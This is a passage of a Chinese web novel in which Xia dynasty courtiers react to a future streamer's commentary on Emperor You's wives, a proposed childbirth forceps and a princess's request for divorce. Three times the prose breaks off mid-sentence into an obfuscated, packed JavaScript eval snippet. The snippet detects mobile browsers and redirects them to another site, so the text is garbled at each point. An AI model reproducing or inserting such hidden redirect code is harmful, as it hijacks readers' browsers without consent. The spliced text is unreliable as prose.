当众下亲爹脸面的“孝心可嘉”吗?原本看热闹的诸王不禁暗自腹诽,活似生吞了几斤柠檬:好嘛,您这是赤裸裸的拉偏架呀。 再看薛挽月时,无意争位的陈王、梁王,以乃在座的几位公主、驸马,不由目光微动,脸上的笑容不知不觉殷切起来。 与此同时,天幕播放的影视片段临近尾声。 消失的主播再次闪现出来。 【不好意思,让一些没看过剧的朋友一不小心受到了污染。】 【桀桀桀桀,好吧,我就是故意的——当初我看到这些剧情,恨不得重金换一双没看过的眼睛。独乐乐不如众乐乐,果然还是大家一起被污染更好!】 天幕下第一次接触到白月光替身这种狗血剧情的古人:? 这剪辑的十分钟片段着实让他们眼花缭乱。 一面大骂荒唐,一面又莫名受到吸引。 民间更是有不少说书人灵光一现,学到了新的套路。 只能说难怪狗血剧情经久不衰…… 【为免有小学生信以为真,在此澄清一下。】 【什么白月光,什么替身,都不是真的。】 【李夫人作为古代四大美人之一,能宠冠后宫,凭的可是真本事。白月光替身?不存在的!人家可是历朝历代认可的“祸水”美人。虽然“祸水”完全是男人甩锅女人的词,但这个锅也不是谁都能接的呀。】 【她的美貌与受宠毋庸置疑。】 【再来说说慈佑夫人李姬,这位更不是什么真爱白月光。无论史书还是墓志铭,种种史料都足以证明,这位生前就是薜璟后院的透明人。】 【她的一生很短暂,二十四岁便难产而亡,一尸两命。我们甚至不知道那个胎死腹中的孩子是男是女。这都是被记载在墓志铭上的内容。】 【古代女性生孩子简直就是过鬼门关,庆幸我们生在这个医学技术、尤其是妇产科技术发达的时代吧,不然怀孕跟揣着炸弹有啥区别?】 【多说一句,夏明帝上位之后重视医学,大量培养女医,尤其妇科和儿科在明帝时期得到空前重视,这其中想必就有慈佑夫人的原因吧!】 一条醒目的弹幕在此时划过。 [助产钳就是夏明帝让人研究出来的] 天幕上的女郎一拍脑门。 【还有这么回事啊?】 【怪我怪我,史盲一个。】 【我只知道助产钳对胎儿头位不正很有帮助,可以降低难产死亡率。但是现在科技发达,助产钳基本已经被摒弃,史盲主播倒是没了解过它的发明历史。】 【感谢这位朋友的科普,这么说宫主真是功德无量啊!】 听闻“降低难产死亡率”之说,无论朝野,尽皆一震。 将信将疑者有之:“真有这么神的玩意儿?” 更多人深信不疑:“文姑娘说的能有假?” “我可怜的女儿就是……就是生孩子没熬过来。”深宅大院中,有妇人抹起了眼泪,失声痛哭,“文姑娘怎么不早些来?怎么不早些来啊!” 此时失声痛哭者,何止一人? 大夏皇宫,薛挽月再一次备受瞩目。 这一次落在他身上的目光与之前不同。 男人们的目光是震惊与不解,秦王眼中有一丝明显的嫌弃:“你小子怎么还摆弄妇人的玩意?”这不是他想象中结束乱世、一统天下的英主。 他甚至说不出助产钳三个字,仿佛说出口会脏了嘴。 女人们的目光同样满是震惊与不解。 这份不解中却带着惊奇与欣赏。 尤其是已经诞育儿女的王妃与公主,心里羡慕不已。自家臭小子哪有这般贴心! “好孩子,别听二哥瞎说!”二公主薛玥想到此前险些难产的经历,张口便是反驳。 她抬手抹了抹眼底的湿润:“得了这么一个好孩子,你娘在天有灵,足感欣慰。” 薛挽月被夸得赧然:“姑姑过誉了。” “那是明帝的功绩。”他还没有飘,“小侄寸功未立,不敢冒领。” 这份谦逊顿时又教人高看一眼。 无功不受誉,把功劳砸实不就行了?永隆帝听出他的言下之意,正色道:“助产钳之事,你可有成算?” 他不像秦王那么眼力浅薄,这可是有利于人口增长的好东西。 况且…… 永隆帝脑海中浮现出女儿鲜活的面孔。 宣成公主就是早产时血崩而亡。 此前他竟从未想过可以命人研习有利于女子生产之术…… 他看向薛挽月的眼底深处多了几分切实的温情。 涉及正事,便不是祖孙,而是君臣。 薛挽月正容以对:“此物孙儿已思量近三年,只是苦于对医术一窍不通,只有大概思路。”异世之魂的记忆中缺乏许多细节,故而他也只能提出大概的思路,“或有谬误之处,还需几位医术高明的太医从旁点拨。” 永隆帝微微颔首。 他当即下了口谕:“朕许你自由行走太医院,从习医术。” 明面上是学习医术,暗地里其实就是与太医一起研究助产钳。之所以明面上不提,显然是为了预防万一,一旦失败,薛挽月不必背锅。 此时,天幕上的女郎就着女性生育的话题与弹幕你来我往讲了好一阵,其间发散到近亲不可成婚,又是引起民间一片哗然。 士族高门对此置若罔闻。 联姻是大族之间巩固彼此关系的重要途径,不会因些许概率就放弃。即便正妻生不出儿子抑或是嫡子天生不足,那不是还能纳妾吗? 【说回正题。】 【“三李”身上也凝聚了封建时代女性的缩影。死后哀荣的,生前为婢为妾,即便有个堪称千古明君的儿子,依旧没能留下大名;生前风光的,明明不曾掌握大权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985472|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,偏偏世人却将昏君的罪恶都推到她头上。】 薛挽月轻轻一叹。 不是他不想为阿娘留名。只是阿娘本无大名,后来身为婢女的名字乃是主人所取,那个名字阿娘从来都是不喜的…… 【最后一个李皇后,她堪称一波三折的前半生,前面的影像中已经放出来了。】 【身为夏幽帝原配,十余年相濡以沫,照料后宅,交好嫔妃、公主、女眷,该尽的职责李皇后一个不落,在夏幽帝的夺嫡之路上是绝对的贤内助。随着夏幽帝登临御座,她本该母仪天下,共享胜利成果。】 【结果却是失宠遭弃,淹没于三千后宫中。】 【《夏史》记载,李皇后当时“宠虽衰”,但“上未有意废也”。直到李逸山事件一出,李皇后肯定不能眼睁睁看着亲爹去死,她哭着向幽帝求情,可耗尽了本就不多的情分,也不过是让李逸山被改判为流放。】 【这个结果无疑让李皇后郁郁寡欢。】 【随着幽帝这人越来越抽象,李皇后身为正常人自然与之渐行渐远。这么一来,李夫人反倒后来居上,渐渐宠冠后宫。】 【最后就是我们熟知的发展了。】 【李皇后被废后,李夫人独掌宫闱,终其一生并未封后。】 【一些翔里嗑糖的人据此认定李皇后才是幽帝的真爱,大概就是“无论如何我的皇后只能是你”之类……】 【咱就是说,有没有一种可能,夏幽帝他纯粹就是自恋?说不定在他看来,这世上没有一个女人配得上与他并肩而立呢?】 “真爱?”脸色木然的李容转动了一下眼珠。脸面被踩在地上的真爱吗?她喃喃着,“后世的小姑娘着实天真得可爱。” “父既无忠,女复不贤……” 默念着这八个字,她只感觉从前的自己活得像个笑话,“齐王妃”这个头衔似乎一下子就从荣耀变成了屈辱的象征。 眼角余光扫过,那个给予她荣耀又给予她屈辱的男人跪在角落里,头颅微微仰着,却是一眨不眨注视着天幕之上帝王的剪影。 薜璟目中充斥着憧憬、迷离,与深深的不甘。 他没有看到妻子的狼狈与黯然。 只看到本该属于他的御极天下、意气风发。 【好在她的后半生无疑是幸运的。】 【夏明帝即位后,尽释幽帝嫔妃。被废的李皇后也在其中。】 【被流放的李逸山亦平冤昭雪,重返京城。】 【于是,父女相聚,阖家团圆。】 【正史之上再也没有了这位废后的记载。】 【民间野史中关于她的结局有三个版本。】 【一说是出家为女冠,以琴棋书画自娱,且其书画颇受称许。】 【一说是再嫁,且育有一女。毕竟人家出宫时也才三十几岁。】 【一说是留在家中,侍奉父母终老,后来成了闺中的女夫子。】 一路讲来,天幕中的女郎嬉笑怒骂,或讥或讽或叹。 此时她的语调却是一转,变得轻盈而温柔,像是在对一个素未谋面的朋友道出寄语。 【无论如何,愿她摆脱桎梏,得偿所愿。】 【一生不必波澜壮阔,但求为自己而活。】 李容死寂的眼底泛起了层层涟漪。 莫名的情绪在她心头翻滚。 她突然起身,行至殿中,大礼拜下。 “陛下容禀。” 李容深深俯首,额头触及冰凉的地面。 “妾身李氏,嫁与齐王殿下已逾十载,未能绵延子嗣,有负宗庙之托。” 她的声音出奇的平静。 “《礼》有‘七去’,其一‘无子’。妾既无所出,实不敢忝居王妃之位。” “伏请陛下恩准,允妾身……自请下堂,归还本宗,从此与齐王一别两宽。” 15.挽月 【无论如何,愿她摆脱桎梏,得偿所愿。】 【一生不必波澜壮阔,但求为自己而活。】 夜渐深,温柔又轻快的女声伴随夜风飘入千家万户。 受此感染,无论是未出嫁的女郎,还是已出嫁的妇人,都不禁默默献上祝福: 但愿天子开恩,那位素未谋面的齐王妃不至于受到齐王的牵连! 谶言的出现,不正应该是为了避免无辜的人走向糟糕的未来吗? 不过,哪怕是最大胆的设想中,也不会有人想到,齐王妃李容居然敢在大夏皇宫,当着皇子帝姬的面,开口请求与天子的儿子一刀两断。 所谓“自请下堂”,不过是维护天家颜面的说辞而已。 在场众人都知道,齐王妃其实就是不想和齐王过了。 这一举动堪称石破天惊。 于薛璟而已,更是奇耻大辱。 他呆呆跪在角落,呆呆看着李容,头脑像是坏死的机器,“咔哧咔哧”运转半天,终于反应过来,他堂堂皇子居然被一个女人主动抛弃?! 不等他怒火中烧,永隆帝突然放声大笑。 笑罢他微微点头,面上不见愠怒,看向齐王妃的眼神竟有几分欣赏:“不愧是李崇岳之女,这股刚直之气一般无二。” 崇岳正是廷尉李逸山的表字。永隆帝草莽出身,不似某些皇帝将天家颜面看得比天大。本就因天幕的“剧透”而对这位心腹略感亏欠,恨不能将逆子流放千里,此时李容干脆利落的做派倒是对了他的胃口。 “朕允了!”在满殿惊愕的注视中,这位大夏天子语出惊人。 紧接着,永隆帝补上一道口谕。 “齐王失德,朕不忍李氏贤淑受其牵累,着令和离归宗,婚嫁任凭自主。” 不是下堂,而是和离? 李容仿佛被巨大的惊喜砸中,感激涕零:“陛下圣明!” 众人齐声相和。 满殿皆是颂圣之声,独薛璟一人仿佛与世隔绝。 他藏在袖里的十指重重掐进了手心。 没有人过问齐王的意见,也没有人在乎他的失态。 惟有天幕上的女郎不忘初衷,依旧关注着本期话题的正主。 【这一期唠嗑到这里,从继位前的宠妻灭妾、尊礼尚贤,到继位后的宠妾灭妻、后宫三千,夏幽帝薛璟的“影帝”属性已经一目了然。】 【有人说夏太祖选继承人的眼光不行,选来选去,选了个最拟人的。】 【其实现在看来,是影帝太会装了。就从他齐王时期的表现来看,说一句他是兄弟中最人模人样的,没毛病吧?】 【秦王家暴老婆,恶名远扬。齐王敬重发妻,人尽皆知;晋王酩酊大醉,无故旷工时,齐王正宵衣旰食,对皇帝安排的差事不敢有丝毫懈怠;吴王被滥竽充数的混子骗吃骗喝白嫖大半年,而齐王三顾淞山,终于请出隐居于此的大贤杜迟,白白为大夏赚来一位太学祭酒;陈王、梁王皆以奢侈著称,而齐王却是勤俭朴素……】 【另外薛璟还有一项事迹非常加分。】 【他非常尊敬陪夏太祖创业起家的老人。像是丞相夏侯敬、车骑将军申屠恤,这一文一武两位元老,薛璟在他们面前从来都是以晚辈的身份自居,没有丝毫傲气。要不怎么说他这人很会看碟下菜呢?】 【有一回车骑将军申屠恤旧伤发作,卧病在床,夏太祖带一群儿子前去探望。其他皇子都是留下礼物问候两句就走了。只有齐王薛璟,送上了他亲手采摘的草药。别管是不是作秀吧,就问谁不好感倍增?】 【哪怕你明知道这是作秀,至少人家愿意作秀,表明自己敬重老臣、重视武将的态度。消息传出,武将能不喜欢这位齐王殿下吗?文人也很难不欣赏他的做派吧?】 【要知道夏太祖以行伍起家,秦王与晋王是唯二上过战场的皇子,人家凭出生入死才得到武将集团的欣赏,而齐王薛璟安居后方,坐享其成,没有武功傍身,却能刷足武将好感,怎么不算是一种能力呢?】 听到这话的人忍不住连连点头。 这种手段使出来,换谁不迷糊?堂堂皇子做到这个份上,很难不对他生出好感。 车骑将军申屠恤在军中威望卓著,爱兵如子,且从不吝惜举荐年轻将领,如今率军伐齐的主帅应飞就是他一手举荐。薛璟从他入手,不费吹灰之力就能收买军心。 再次被拉踩的诸王面面相觑,不得不承认齐王有一手,他们从前怎么没发现呢? 车骑将军府,申屠恤面色微凝。 天幕中提到的这件事尚未发生,但他只是略一代入便能想到,原本历史中的自己必然因此对齐王好感大增,以为这位殿下颇有乃父之风。 永隆帝之所以能聚拢豪杰,走到今日,绝非徒有勇力。说到礼贤下士、招揽人心,齐王这一套不过是永隆帝玩剩下的。 因此,未来的申屠恤未必没有看出齐王不过是在效仿永隆帝,即所谓的“作秀”。 但正如后世的小姑娘所言,愿意作秀总比不愿意的好,要的就是这份态度。历代明君又有几个是真的表里如一?反倒是暴君昏君之流,从来表里如一,演都不演。 或许陛下来日便是这般思量,才会立齐王为储罢?申屠恤这样想道。 而他们这些老部下的看法,无疑也是影响陛下决定的重要因素。 一念及此,一身磊落的老将军又气又惭。 大夏之所以落到败家子手中,莫非竟有他一份功劳? 一口闷气憋在心口,申屠恤索性抄起长枪,演练起枪法来。 枪影重重,无辜的老树饱受摧残。 落叶飘零,越过千山万水,飞渡淮河两岸。 齐国重关在夜色中似被点燃。 一场开始于年末、结束于年初的突袭,来得猝不及防。 当原属齐国的城头插上大夏的旗帜,年轻的将军摘下兜鍪,与将士痛饮狂欢。 天幕上熟悉的女声为他们佐酒。 酒水入腹,话也多了起来。 恰听到齐王以申屠恤为伐收拢军心,将士们不禁指指点点:“这齐王心眼也忒多。” 主位上神采飞扬的年轻将军大摇其头,笑声爽朗:“听闻齐王在诸王中学问最好,果然读书人就是阴险!” “……?” 发出这般感叹的应飞并未发觉,终于整理完文书,姗姗来迟的谋士笑容微微裂开。 天幕中列举完齐王的诸般事迹,尤其是有着兄弟的鲜明对比,最后发出灵魂质问。 【综上所述,朋友们,换作你是夏太祖,试问你觉得哪个儿子更靠谱?百年后江山该传给谁?选秦王请扣1,晋王扣2,吴王扣3,齐王扣4,陈王扣5,梁王扣6。】 【来吧,给出你们的答案。】 [4444] [虽然但是,我选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995560|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫主。] [宫主,夏世宗,夏明帝,薛湛,薛挽月。谁来都可以。] [好不甘心选幽帝这货啊!] [没办法,影帝还真有点东西。] [幽帝能上位,他那帮抽象的兄弟都有责任。] [+1,一个能打的都没有!] 天幕上的女郎一眼扫过弹幕。 【哈哈哈,我看到好多选明帝的。可惜宫主不在选项中,无法选中。】 【哇,还有小机灵鬼,一口气选了五个人。宫主,夏世宗,夏明帝,薛湛,薛挽月?昵称,庙号,谥号,大名,小名,好家伙,齐活了。】 【这里站不下那么多人!】 “这话啥意思?”不少人听得迷糊。 “还能啥意思?就是说这五个人其实是一个人。” “噢,原来明帝就是叫薛——” “你不要命啦,敢直呼其名?” 至此,有关于明帝身份的悬念,终于在民间被揭开。 百姓们依旧不知这位在兄弟中排行行几,年岁几何,至少知道了他的大名小名。 ……更是再一次意识到其人在后世的风评必然极佳。 若非如此,在一个没有他的选择题里,怎么会有那么多人强行选他? 换而言之,何尝不是几个选项都不行? 永隆帝脑海中蓦然重现一段惊人言论。 ——要我说,何不直接立太孙?跳过昏君,让宫主一步到位不行吗?有幽帝这个亲爹,简直是我们宫主一生的污点! ——夏太祖还是太保守了! 察觉到永隆帝幽幽投来的目光,薛挽月不明所以:“?” 沉默了一整晚的薛温看着这个在后世众望所归的弟弟,心情复杂。 他欲言又止,最后只是没话找话:“不曾听闻三弟还有乳名……” 话说到一半,薛温暗叫不好。乳名不是爹取的就是娘取的,他这不是要勾起三弟的伤心事吗? 薛挽月如实道:“这是阿娘替我取的。” 只是从七岁之后,再也没人如此唤他了。 夜色渐浓,天空不见月的影子。 薛挽月微微仰头望天,依稀间看见一道模糊的倩影,她揽着怀中的孩子,伸手指向夜空的圆月:“……阿娘生下你的那天晚上,月亮也是这般圆……残月是遗憾,圆月是美满。人这一生,大抵和月亮一般有盈有缺……挽月挽月,阿娘总盼着,我儿一生没有遗憾,只留得圆满。” 夜风吹散了那抹倩影,也吹走了耳边的呢喃,唯有天幕高悬,天光如月光倾洒。 渐次亮起的宫灯衬得天光愈发飘渺。 挽月挽月…… 这份愿望一如天上的月亮,照耀人间,又渺不可及。 小孩子的思绪总是发散的,即便薛挽月有着超乎年龄的成熟。异世之魂的记忆中有许多不明就里的哲学理论,他的心绪被杂乱的念头牵引,莫名转向人类的幸福与宇宙的广度,继而脑海中又冒出坑坑洼洼的月球表面。 一切美好与遗憾的幻想戛然而止。 薛挽月露出微微牙疼的表情。 见状,自觉说错话的薛温懊恼地垂下头。原本翻涌着或嫉妒或艳羡的念头烟消云散。 他的良心在这一刻受到深深的谴责。 是哪怕半夜回想起来都会懊恼到睡不着的程度。 ——我真该死啊! 16.躺平 【有一说一,挽月这个小名是真好听,有种揽月入怀的诗意。慈佑夫人太会了!】 天幕上的女郎被弹幕一路带偏,兴致勃勃地夸起薛挽月的名字来。 【当然,咱们后世的粉丝也很会。一篇同人文直接带火“广寒仙子”这个人设。就是“仙子”未免太嬷了,还是“宫主”听着顺耳。】 薛挽月:“……” 原来“宫主”是这个意思啊。 迎着四周投来的揶揄目光,他欲言又止,止言又欲。不是,粉丝大可不必这么会! 薛挽月直挺挺坐在原位,活人微死。 还是赶紧回归正题罢…… 他不想知道所谓同人文的详细内容。 仿佛听到他的心声,女声话锋一转。 【扯远了,扯远了。忽略整活的弹幕,齐王薛璟高票胜出。】 【可见不管愿不愿意,大家都得承认,不开天眼的情况下,影帝的确是最佳人选。】 【当时的大臣对齐王的评价都不错。至少其他皇子身上明显的缺陷他身上都没有,称得上四角俱全。他的确可以自豪地声称“每与兄反”。】 【结果人一上位,群臣傻眼了,你这人怎么有两副面孔?】 两副面孔? 再次被cue的几位兄弟兴奋起来。 赶紧让他们瞧瞧怎么回事! 天幕上的女郎却慵懒地伸了个懒腰。 【啊,时间不早了,不知不觉已经水完了今天的时长。】 【朋友们点个关注,《影帝上位那些事》下期精彩继续。】 【齐王将用他震撼人心的表演宣告,他哪里是“每与兄反”,明明是“超级加倍”!】 随着天幕消失,大地彻底被夜色笼罩。 这个夜晚注定不会平静。 大夏君臣彻夜思考着这个国家的未来。关于如何妥善处置齐王薛璟,关于如何对待谶言中的夏明帝,京中许多府邸的书房几乎亮了一夜。 南方三国主战派与投降派斗争愈发激烈。 当地士民亦是不安,为即将爆发的战争而担忧。尤其是被强征壮丁的村落,家家户户夜不能寐,唯恐一觉醒来便收到来自前线的死讯。 殊不知夏军已踏过淮河,在应飞的率领下夺取齐国关隘,一路南去。 反观北方,越是靠近大夏腹地,民间气氛越是松散。 目前夏幽帝暴露的事迹中,与百姓息息相关的主要就是强征民女。除了那些疼爱女儿的人家,更多的人处于一种听故事的状态,听完了正好一夜安枕。 直到天光大亮,新的一天到来。 新一期的天幕取代了评书,成为市井街头最热闹的话题。一些胆大的说书先生甚至直接将昨天听到的内容拿出来改了改,便炒起冷饭来。 一时间竟是颇受好评。 天幕降临时已是黄昏,并非所有人都恰好得闲。即便得闲,白日与更多人一起讨论,岂不是比傍晚在自家院子里关起门来听讲更有意思? 这一期的内容囊括众多。 从夏幽帝的后宅之事到储位之争,而隐约透露的夏明帝二三事更是引人瞩目。 士人或赞叹夏幽帝收买人心的手段,感慨其城府之深,或好奇这对父子之间的恩怨,毕竟哪个大孝子会给亲爹谥号为“幽”啊! 民间百姓更关注的却是那“助产钳”。 一夜时间过去,他们心中的震撼丝毫未减,反而加深了几分。尽管那位来自后世的神女只是抛出了三个字,已足以令许多人浮想联翩。 一些家中有待产孕妇的人,迫不及待便登上了医馆的门,或者随机薅住一个路过的无辜大夫,就想问问助产钳是怎么回事,能不能复现。 各地的医馆顿时迎来一波热潮。 费尽唇舌才道尽其中不易,好不容易送走失望的百姓,大夫们回过头来,纷纷闭门研究:“文姑娘也不详细说说那助产钳是什么模样,该如何制成……观其字义,莫非是将胎儿从腹中夹出的钳子?” 这个联想似乎有些可怖…… 没有图片,没有解说,单凭三个字,想象力再丰富的人也不知“助产钳”究竟该是何等模样。于是不少人的目光投向京城的方向。 既然历史上夏明帝能指点人研究出来,现在总归有些想法罢? 心急的大夫索性收拾行囊,直奔京城。 花开两朵,各表一枝。 “助产钳”在这个时代终究过于“先进”。尽管夏明帝命人研究此物的初衷源自难产而亡的慈佑夫人,这无疑是诸夏一直表彰的孝道,也是历朝历代的政治正确;依旧有不少墨守成规的迂腐之辈抨击其不务正业,堂堂一国之君竟是钻研妇人生产之道,说起来简直是烫嘴…… 这样想的人不在少数。 尤其是那些未入仕途的失意书生,最爱聚在一起抨击时政,高谈阔论。而今日的话题很快就从天下归一转移到了夏明帝的创举之上。 一声暴喝,突然响彻茶楼,打断了指指点点的声音:“何谓不务正业,尽孝守仁是天下第一正业!老吾老以及人之老,幼吾幼以及人之幼。明帝失母,而不忍见人失母,推仁心于天下,先贤之道存矣!” 不服气的书生循声看去,顿时大惊:“可是程公当面?” “正是老夫。” 一位衣着简朴的老者昂首阔步迈出。 他满头乌发梳理得整整齐齐,间或夹杂些许银丝。一双浓眉有若利剑,身形高出常人一头。正是享有“当世文宗”之誉的北地大儒程望。 其人生于乱世,长于乱世,不曾出仕而名动四国。且能文能武,秉性暴烈,年逾五十依旧老当益壮。 一般人说不过他,说得过他的人打不过他,打得过他的人还得承担打了老头被天下人骂成狗的后果…… 惹不起,惹不起,溜了溜了。 跟随在程望身边的年轻人也站出来:“人谁无母?谁无妻女姐妹?诸位今日之言,可敢归家当着令堂的面再说一遍?” 程望跟着补刀:“宁可妻女姐妹一尸两命,也要维护所谓读书人的规矩。什么读书人,守尸鬼罢了。哪里来的破规矩,老夫可不认!” 眼看众人偃旗息鼓,这位大获全胜的当世文宗负手环顾一圈:“有些人,读书读到了狗肚子里。猪狗不如,不如不读。” 说罢,他催促随侍的学生收拾行装。 “走,去京城,一会大夏的圣主明君。” 师生二人说走就走,留下一段令人津津乐道的故事。 随着消息传开,灰溜溜离开茶楼的众书生回到家里,很快就发现日子不好过起来。 平素温柔体贴、甚至会在自己夜深读书时准备点心茶水的妻子,如今别说亲手做羹汤,便是半句言语也无。到了晚间更是不让上榻了。 问就是妾身不敢有孕,你找愿意的去吧。 从来以学问优秀的兄长为荣,出门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002251|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与小姐妹打交道都忍不住炫耀两句的妹妹突然闭门不出,便是有小姐妹登门也先把兄长远远支使出去。 问就是从前厚颜在姐妹圈里推销兄长,现在已经无颜见姐妹了。 一向疼爱好大儿,宁肯自个儿吃苦,也舍不得好大儿遭罪的亲娘突然爆改后娘。吃的穿的用的先紧着自己享受,对儿子只剩下百分鞭策。 问就是养儿不如不养,心疼儿子不如心疼自己。 民间余波纷纷,暂未波及宫中的薛挽月。 永隆帝明面上并未给予他超乎寻常的待遇,但当夜他身边的宫人就换了一批,就连晚间厨房送来的夜宵都比平时分量更足,味道更美。 这一切变化,薛挽月坦然受之。 从今往后,将会有无数双眼睛注视着他。有人期待他走向夏明帝的高度,便有人期待他一脚踏空。 年纪是他的劣势,也是他的优势。他只需接下善意,汲取一切养分成长,一如他从异世之魂的记忆中汲取一切有用的知识来点亮智慧。 而恶意,自有永隆帝替他挡着。 薛挽月照常读书、习武,闲时做做手工,时不时去太医院转一圈,与太医们交流想法,生活步调十分稳定。 这份波澜不惊的平静被许多人看在眼里,暗暗心惊。对不同的人而言,又是截然不同的评价。或曰“此子不凡”,或曰“此子断不可留”。 倒是薛澄激动坏了。 事后,他一边说着“万万没想到夏明帝竟在我身边”之类的话,一边嘀嘀咕咕“夏明帝身份未揭开前我要努力,夏明帝身份揭开后我依旧要努力,这身份不是白揭开了”,读书习武时愈发理直气壮地偷起懒来。 ——本想以普通皇孙的身份与先生相处,结果得到的却是无止境的课业与累断腿的操练,我不演了,我摊牌了,吾弟有大帝之资! 用他私下与薛挽月许的愿来说:“老弟你这么有本事,哥哥我还用努力吗?二哥要求也不高,将来就靠弟弟养着,当个富贵闲王就是了。” 薛·许愿机·小叮当·挽月:“……” “……你还真是不挑啊。” 薛澄挺起胸膛:“我是废物我骄傲,堂堂千古一帝,还养不起一个富贵闲王?”说话时他环顾左右,唯恐教人听了去。 哪有兄长靠弟弟养的,虽然不是养不起……但薛挽月觉得不能让二哥小小年纪就少走几十年弯路,正是奋斗的年纪,岂能说躺平就躺平? “现在说这些为时尚早。”薛挽月轻叹一声,目露几分忧色,“天幕谶言一出,已令我身处众矢之地。外有不服大夏之臣,内有虎视储位之诸王,我年幼势孤,一如小儿抱金过闹市,觊觎之辈大有人在。” 万万想不到,从齐王那里学来的演技,这么快就能进行实操,而且第一次就用在薛澄身上……薛挽月的良心微微一痛,又迅速释然。 他也是为了避免二哥小小年纪成为丈育嘛。 薛挽月这番话倒不是作假。 薛澄闻言眉头一皱,意识到事情不像自己以为的那么简单。想到三弟小小年纪就被一群豺狼虎豹盯上,他那颗躺平的心一下子支楞起来:“有道理,几位王叔说不定就等着揪你的错处,我可不能拖了后腿。” 他神情凝重地沉思了一会儿。最后决定放弃思考。 “……兵来将挡,水来土掩。管他们支什么招,咱们兄弟同进同退。三弟你从小就比我机灵,有事只管使唤我就是了。” 17.闹剧 相较于在宫中如鱼得水的薛挽月,薛璟这边却是凄凄惨惨戚戚。 正旦之后的第一场朝会,揭发齐王不法的奏疏便如雪花一般飞上了天子御案。 原本还有一二观望之人,随着永隆帝令齐王与齐王妃和离的消息自宫中传出,这些人便也毫不犹豫做出了选择。 之前观望是担心永隆帝念及好圣孙而宽宥齐王,而今圣意如何已是一目了然,不趁势加入“倒齐”队伍,岂不是教人以为他们是齐王党? 要说薛璟从前并非没有笼络朝臣…… 只是现在哪里还有齐王党?放眼望去,尽是大夏忠臣。 倒是有不少投机党瞄准了另一支潜力股,试图与未来的“夏明帝”搭上线,奈何人在宫中被永隆帝看护得严严实实,着实教他们无处投机。 他们也就只好向着齐王火力全开。 “陛下,臣参奏齐王纵奴行凶……” “陛下,臣有本奏。齐王……” 这边站出一个曾经与齐王眉来眼去的九卿,那边站出一个曾经夸赞齐王贤明有度的御史,原本毫无瑕疵的齐王突然被翻出了一堆的污点。 这些黑料无疑不是一夜之间就能集齐。显然,从几个月前夏幽帝的身份被揭露,便有聪明人开始苦心收集齐王隐藏极深的不法之事。 现在这不就派上用场了吗? 至于说拿登上天幕的“夏幽帝事迹”来参奏齐王? 不不不,那太危险了。谁敢担保自己将来不行差踏错一步?这个口子万万不能开! 永隆帝同样明白,除非天怒人怨、大逆不道,否则只能翻旧账,决不能以未来之事问罪于人,他只将齐王不法之事交与廷尉、宗正一并查证。 查实之后,该罚则罚,该问罪问罪。 齐王麾下的势力就在这个过程中被拆得七零八散。而身为核心的薛璟更是在宫中无限期禁足,就连亲王的薪俸都被没收一空…… 这段时间,百官每日上朝都感觉一股低气压在朝堂上盘旋。 便是平日粗心大意的臣子,近些时日做事也变得小心谨慎起来。他们可不想平白顶了齐王的雷,成为永隆帝发泄怒火的出气筒。 直到一封来自前线的捷报抵达京城。 ——右将军应飞挥师十万南下,于日前强渡淮河,下蔡一日而克。遂分兵扫荡沿途关隘,淮滨戍望皆为齑粉,兵锋所向,直抵寿阳城下! “下蔡坚城,竟一日而下?!” 当这封捷报在朝堂上公开,群臣喜气盈腮,无不额手称庆。 老于军旅的车骑将军申屠恤神色激昂,却又不失谨慎:“寿阳乃江淮重镇,一旦夺下寿阳,江淮门户为之洞开,齐主势必一日而三惊。齐国绝不会眼睁睁看着我大夏拿下寿阳,接下来恐怕就是一场血战了。” 谨慎之余,他对应飞充满信心。 这位后起之秀能以而立之年挤下一众老将,成为大夏伐齐的主帅,军事才华已是无需多言。其人率兵素来侵略如火,最擅长的就是攻城。 永隆帝同样是这么想的。 他捏着手上的捷报,被逆子激发的郁气一扫而空:“看来用不了多久,朕就能请齐主做客盛京,一观我大夏繁华。” 这一天是正月十五,也是薛挽月的生辰。 消息传入宫中时,薛挽月才给阿娘上过一炷香,算是与阿娘一起庆生。 他默默注视着亲手打磨的灵位,像从前那样与阿娘念叨着。 “今日是儿生辰,亦是母难之日。阿娘放心,我这一年过得很好,之后会过得更好。不知阿娘可有吃好、喝好、睡好……对了,近来多了个后世讲古的天幕,不知阿娘在地下可有看到,你儿子可出息了哦……” 上过香不久,薛澄就来了,顺便带来了前线的捷报。 薛澄手舞足蹈,双目放光:“右将军真乃大夏神威侯!恨不能为右将军麾下牛马走!” 试问哪个少年没有一个纵横沙场的美梦?尤其是像应飞这样,年纪轻轻便在战场上挥斥方遒,简直是无数少年人的偶像。 